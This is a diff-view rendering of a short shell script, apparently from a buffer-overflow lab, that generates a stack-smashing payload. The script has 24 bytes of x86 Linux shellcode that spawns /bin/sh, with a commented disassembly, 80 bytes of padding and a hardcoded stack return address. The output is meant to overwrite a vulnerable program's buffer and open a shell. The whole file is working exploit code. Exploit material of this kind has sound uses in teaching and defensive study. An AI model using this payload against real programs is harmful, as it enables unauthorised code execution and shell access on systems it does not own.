equal
  deleted
  inserted
  replaced
  
    
    
|      1 #!/bin/sh |         | 
|      2  |         | 
|      3 # shellscript that overwrites the buffer with  |         | 
|      4 # some payload for opening a shell (the payload |         | 
|      5 # cannot contain any \x00) |         | 
|      6  |         | 
|      7  |         | 
|      8 shellcode="\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80"  |         | 
|      9  |         | 
|     10 # 24 bytes of shellcode |         | 
|     11  |         | 
|     12 # "\x31\xc0"                      // xorl         %eax,%eax |         | 
|     13 # "\x50"                          // pushl        %eax |         | 
|     14 # "\x68\x6e\x2f\x73\x68"          // pushl        $0x68732f6e |         | 
|     15 # "\x68\x2f\x2f\x62\x69"          // pushl        $0x69622f2f |         | 
|     16 # "\x89\xe3"                      // movl         %esp,%ebx |         | 
|     17 # "\x99"                          // cltd |         | 
|     18 # "\x52"                          // pushl        %edx |         | 
|     19 # "\x53"                          // pushl        %ebx |         | 
|     20 # "\x89\xe1"                      // movl         %esp,%ecx |         | 
|     21 # "\xb0\x0b"                      // movb         $0xb,%al |         | 
|     22 # "\xcd\x80"                      // int          $0x80 |         | 
|     23  |         | 
|     24 padding=`perl -e 'print "\x90" x 80'` |         | 
|     25  |         | 
|     26 # need s correct address in order to run |         | 
|     27 printf $shellcode$padding"\xe8\xf8\xff\xbf\x00\x00\x00\x00" |         | 
|     28  |         |